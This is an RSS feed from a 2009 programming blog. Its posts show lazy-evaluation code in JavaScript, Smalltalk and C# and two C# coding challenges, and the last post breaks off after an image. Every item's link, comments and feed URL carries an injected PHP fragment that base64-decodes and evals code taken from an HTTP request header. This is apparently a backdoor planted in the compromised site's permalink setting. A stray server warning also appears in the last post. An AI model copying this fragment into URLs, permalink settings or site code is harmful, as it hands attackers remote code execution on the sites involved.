<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>IronGlue</title>
	<atom:link href="http://www.ironglue.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ironglue.com</link>
	<description>Open source Smalltalk-like language articles and articles of general interest</description>
	<pubDate>Tue, 25 Aug 2009 03:02:56 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Lazy evaluation in Javascript</title>
		<link>http://www.ironglue.com/2009/08/24/lazy-evaluation-in-javascript/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/08/24/lazy-evaluation-in-javascript/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 25 Aug 2009 03:02:56 +0000</pubDate>
		<dc:creator>Vlastimil Adamovsky</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[Functional programming]]></category>

		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=137</guid>
		<description><![CDATA[The same problem solved in Javascript.
A sample code is shown below:
//*********begin lazy  implementation************"
function lazy(funToRun)
 {
     var myRun = function() {
         var res = funToRun();
         myRun = function() { return res; }
    [...]]]></description>
			<content:encoded><![CDATA[<p>The same problem solved in Javascript.</p>
<p>A sample code is shown below:</p>
<pre style="font:inherit;">//*********begin lazy  implementation************"
<span style="color: #ff0000;"><strong>function lazy(funToRun)
 {
     var myRun = function() {
         var res = funToRun();
         myRun = function() { return res; }
         return res;
     };
     return function() { return myRun(); }
 }</strong></span>
//*******end lazy implementation *************</pre>
<p>//testing</p>
<pre>function lazyCalc ()
 { var sum = 0;
   for (var i=1; i&lt;1000000000; i++)
     {sum += i;}
   return sum;
}

var lazyVar = lazy(lazyCalc);

//1st time when we need the value, it will calculate it
var result = lazyVar();

//all following times, it will use already calculated value
//but a call is completely the same, we don't need to know
//whether it has been already calculated or not.
result = lazyVar();</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/08/24/lazy-evaluation-in-javascript/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Lazy evaluation in Smalltalk</title>
		<link>http://www.ironglue.com/2009/08/08/lazy-evaluation-in-smalltalk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/08/08/lazy-evaluation-in-smalltalk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 08 Aug 2009 13:03:56 +0000</pubDate>
		<dc:creator>Vlastimil Adamovsky</dc:creator>
		
		<category><![CDATA[Smalltalk]]></category>

		<category><![CDATA[Add new tag]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=120</guid>
		<description><![CDATA[The same problem solved in Smalltalk. I have come up with an interesting implementation for the lazy
A sample code to show how to use it follows:
&#124;lazy toRun temp result&#124;
"*********begin lazy  implementation************"
lazy := [ :myFun&#124; &#124;myRun&#124;
                   myRun [...]]]></description>
			<content:encoded><![CDATA[<p>The same problem solved in Smalltalk. I have come up with an interesting implementation for the lazy</p>
<p>A sample code to show how to use it follows:</p>
<p>|lazy toRun temp result|</p>
<pre style="font:inherit;">"*********begin lazy  implementation************"
<span style="color: #ff0000;"><strong>lazy := [ :myFun| |myRun|
                   myRun := [ |res| res := myFun value.
                                           myRun := [res]. res].
                  [myRun value]].</strong></span>
"*******end lazy implementation *************</pre>
<p>toRun := [ |sum| sum := 0. 1 to: 2 do:[:i| sum := sum + 1]. sum].</p>
<p>temp := lazy value: toRun.</p>
<p>result := temp value .</p>
<p>result := temp value .</p>
<div id="inbdy">
<p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"><span style="font-size: 12pt; font-family: Courier;"><br />
<!--[endif]--></span></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/08/08/lazy-evaluation-in-smalltalk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Lazy evaluation in C#</title>
		<link>http://www.ironglue.com/2009/08/08/lazy-evaluation-in-c/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/08/08/lazy-evaluation-in-c/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 08 Aug 2009 05:06:38 +0000</pubDate>
		<dc:creator>Vlastimil Adamovsky</dc:creator>
		
		<category><![CDATA[C#]]></category>

		<category><![CDATA[Functional C#]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=114</guid>
		<description><![CDATA[Sometimes you want to use a value, which takes a long time to compute, but you don&#8217;t want to compute it before you know that you really need it.  When you need it the very first time, it will be calculated and when you need it any other time, the cached value will be used. [...]]]></description>
			<content:encoded><![CDATA[<p>Sometimes you want to use a value, which takes a long time to compute, but you don&#8217;t want to compute it before you know that you really need it.  When you need it the very first time, it will be calculated and when you need it any other time, the cached value will be used. It is a very handy stuff&#8230;</p>
<p><strong><span style="text-decoration: underline;">The sample code goes here:</span></strong></p>
<pre style="font:inherit;">using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace lazy
{
<strong>   </strong><span style="color: #ff0000;"><strong>public class LazyEval&lt;T&gt;</strong></span><span style="color: #ff0000;"><strong>
       {</strong></span>
          <span style="color: #ff0000;"><strong>private Func&lt;T&gt; myFun;</strong></span></pre>
<pre style="font:inherit;"><span style="color: #ff0000;"><strong>          public LazyEval(Func&lt;T&gt; func)
            {
               myFun = () =&gt;
                                     { T res = func();
                                         myFun = () =&gt; { return res; };
                                         return res;};
            }</strong>
</span>
<span style="color: #ff0000;"> <strong>        public T Value  { get { return myFun(); } }</strong></span>
<strong> <span style="color: #ff0000;">     }</span></strong></pre>
<pre style="font:inherit;">
class Program
{
       static void Main(string[] args)
            {        //testing ...........
                var myLazy = new LazyEval&lt;Int64&gt;(myFunc);
                var myRes = myLazy.Value;
                myRes = myLazy.Value;
             }

         static Int64 myFunc()
            {  Int64 sum = 0;
                foreach (var i in Enumerable.Range(1, 1000000000))
                 { sum += i; }
                return sum;
             }
      }
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/08/08/lazy-evaluation-in-c/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Programming challenge - have fun #2</title>
		<link>http://www.ironglue.com/2009/07/14/programming-challenge-have-fun-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/07/14/programming-challenge-have-fun-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 14 Jul 2009 06:05:21 +0000</pubDate>
		<dc:creator>Vlastimil Adamovsky</dc:creator>
		
		<category><![CDATA[C#]]></category>

		<category><![CDATA[F#]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=105</guid>
		<description><![CDATA[If you are tired of  &#8220;monkey coding&#8221;, try to solve some interesting problems.
Requirement: There is an array of integers  from 1 to n.    1 and only 1 number is missing. It means an array of numbers from 1 to n has size of  n - 1 because one number is missing for sure.
Please, send [...]]]></description>
			<content:encoded><![CDATA[<p>If you are tired of  &#8220;monkey coding&#8221;, try to solve some interesting problems.</p>
<p><strong>Requirement: </strong>There is an array of integers  from 1 to n.    1 and only 1 number is missing. It means an array of numbers from 1 to n has size of  <strong>n - 1 </strong>because one number is missing for sure.</p>
<p>Please, send a code which will find the missing number and make yourself  famous.  Please, send code in C# or F#.</p>
<p>My solution is:</p>
<pre><span style="font-size: x-small;"><span style="font-weight: bold;">//code starts here </span></span></pre>
<pre><!--[if gte mso 9]><xml> <w:WordDocument> <w:View>Normal</w:View> <w:Zoom>0</w:Zoom> <w:TrackMoves /> <w:TrackFormatting /> <w:PunctuationKerning /> <w:ValidateAgainstSchemas /> <w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid> <w:IgnoreMixedContent>false</w:IgnoreMixedContent> <w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText> <w:DoNotPromoteQF /> <w:LidThemeOther>EN-US</w:LidThemeOther> <w:LidThemeAsian>X-NONE</w:LidThemeAsian> <w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript> <w:Compatibility> <w:BreakWrappedTables /> <w:SnapToGridInCell /> <w:WrapTextWithPunct /> <w:UseAsianBreakRules /> <w:DontGrowAutofit /> <w:SplitPgBreakAndParaMark /> <w:DontVertAlignCellWithSp /> <w:DontBreakConstrainedForcedTables /> <w:DontVertAlignInTxbx /> <w:Word11KerningPairs /> <w:CachedColBalance /> </w:Compatibility> <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel> <m:mathPr> <m:mathFont m:val="Cambria Math" /> <m:brkBin m:val="before" /> <m:brkBinSub m:val="&#45;-" /> <m:smallFrac m:val="off" /> <m:dispDef /> <m:lMargin m:val="0" /> <m:rMargin m:val="0" /> <m:defJc m:val="centerGroup" /> <m:wrapIndent m:val="1440" /> <m:intLim m:val="subSup" /> <m:naryLim m:val="undOvr" /> </m:mathPr></w:WordDocument> </xml><![endif]--><!--[if gte mso 9]><xml> <w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"   DefSemiHidden="true" DefQFormat="false" DefPriority="99"   LatentStyleCount="267"> <w:LsdException Locked="false" Priority="0" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Normal" /> <w:LsdException Locked="false" Priority="9" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="heading 1" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8" /> <w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9" /> <w:LsdException Locked="false" Priority="39" Name="toc 1" /> <w:LsdException Locked="false" Priority="39" Name="toc 2" /> <w:LsdException Locked="false" Priority="39" Name="toc 3" /> <w:LsdException Locked="false" Priority="39" Name="toc 4" /> <w:LsdException Locked="false" Priority="39" Name="toc 5" /> <w:LsdException Locked="false" Priority="39" Name="toc 6" /> <w:LsdException Locked="false" Priority="39" Name="toc 7" /> <w:LsdException Locked="false" Priority="39" Name="toc 8" /> <w:LsdException Locked="false" Priority="39" Name="toc 9" /> <w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption" /> <w:LsdException Locked="false" Priority="10" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Title" /> <w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font" /> <w:LsdException Locked="false" Priority="11" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtitle" /> <w:LsdException Locked="false" Priority="22" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Strong" /> <w:LsdException Locked="false" Priority="20" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Emphasis" /> <w:LsdException Locked="false" Priority="59" SemiHidden="false"    UnhideWhenUsed="false" Name="Table Grid" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text" /> <w:LsdException Locked="false" Priority="1" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="No Spacing" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 1" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 1" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 1" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 1" /> <w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision" /> <w:LsdException Locked="false" Priority="34" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="List Paragraph" /> <w:LsdException Locked="false" Priority="29" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Quote" /> <w:LsdException Locked="false" Priority="30" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Quote" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 1" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w:LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w:LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w:LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w:LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w:LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w:LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w:LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w:LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w:LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w:LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w:LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w:LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w:LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w:LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 6" /> <w:LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w:LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w:LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w:LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w:LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w:LsdException Locked="false" Priority="37" Name="Bibliography" /> <w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w:LatentStyles> </xml><![endif]--></pre>
<pre><!--[if gte mso 10]>
<mce:style><!   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin-top:0in; 	mso-para-margin-right:0in; 	mso-para-margin-bottom:10.0pt; 	mso-para-margin-left:0in; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin;} --></pre>
<pre><!--[endif]--></pre>
<pre style="margin: 0in 0in 6pt;"><strong><span style="font-size: 10pt;">using System;
</span></strong><span style="font-size: x-small;"><span style="font-weight: bold;"><strong><span style="font-size: 10pt;">using System.Collections.Generic;</span><span style="font-size: 10pt;">using System.Linq;
using System.Text;</span></strong></span></span></pre>
<pre style="margin: 0in 0in 6pt;"><span style="font-size: x-small;"><span style="font-weight: bold;"><strong><span style="font-size: 10pt;">namespace FindMissingStuff</span><span style="font-size: 10pt;">
{</span><span style="font-size: 10pt;">
  class Program</span><span style="font-size: 10pt;">
   {
     //example</span></strong></span></span></pre>
<pre style="margin: 0in 0in 6pt;"><span style="font-size: x-small;"><span style="font-weight: bold;"><strong><span style="font-size: 10pt;">     static void Main()
       {</span></strong></span></span></pre>
<pre style="margin: 0in 0in 6pt;"><span style="font-size: x-small;"><span style="font-weight: bold;"><strong><span style="font-size: 10pt;">         var mNumber = missingNumber(new [] {1,2,3,4,5,7,8,9});</span></strong></span></span></pre>
<pre style="margin: 0in 0in 6pt;"><span style="font-size: x-small;"><span style="font-weight: bold;"><strong><span style="font-size: 10pt;">        }</span></strong></span></span></pre>
<pre style="margin: 0in 0in 6pt;"><span style="font-size: x-small;"><span style="font-weight: bold;"><strong><span style="font-size: 10pt;">  //implementation to find the missing number</span></strong></span></span></pre>
<pre style="margin: 0in 0in 6pt;"><span style="font-size: x-small;"><span style="font-weight: bold;"><strong><span style="font-size: 10pt; color: red;"><span style="color: #ff0000;">  static int missingNumber(IEnumerable&lt;int&gt; list)</span></span></strong></span><span style="color: #ff0000; font-weight: bold;"><strong><span style="font-size: 10pt; color: red;">
  { </span><span style="font-size: 10pt; color: red;">
   var k = new List&lt;int&gt;(list);
   k.Sort();
   return k.Last() != k.Count() + 1 ? k.Count() + 1 :  k.Where((elem, index) =&gt; (index + 1) != elem).First() - 1;
  }</span></strong></span><span style="font-weight: bold;"><strong><span style="font-size: 10pt;">
 }
}</span></strong></span></span></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.ironglue.com/2009/07/14/programming-challenge-have-fun-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Programming challenge - have fun #1</title>
		<link>http://www.ironglue.com/2009/07/14/programming-challenge-have-fun-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.ironglue.com/2009/07/14/programming-challenge-have-fun-1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 14 Jul 2009 05:51:19 +0000</pubDate>
		<dc:creator>Vlastimil Adamovsky</dc:creator>
		
		<category><![CDATA[C#]]></category>

		<category><![CDATA[F#]]></category>

		<guid isPermaLink="false">http://www.ironglue.com/?p=98</guid>
		<description><![CDATA[If you are tired of  &#8220;monkey coding&#8221;, try to solve some interesting problems.
Requirement:  There is a Binary search tree , write a program, which will calculate distance from one node to another. For example, on the picture below, the distance from 25 to 76 is 5.
I have come up with a code, please, try [...]]]></description>
			<content:encoded><![CDATA[<br />
<b>Warning</b>:  Compilation failed: characters with values > 255 are not yet supported in classes at offset 16 in <b>/home/iron/www/wp-includes/shortcodes.php</b> on line <b>213</b><br />
<p>If you are tired of  &#8220;monkey coding&#8221;, try to solve some interesting problems.</p>
<p><strong>Requirement: </strong> There is a Binary search tree , write a program, which will calculate distance from one node to another. For example, on the picture below, the distance from 25 to 76 is 5.</p>
<img class="size-full wp-image-101" title="btree1" src="http://www.ironglue.com/wp-content/uploads/2009/07/btree1.png" alt="btree" width="575" height="417" />
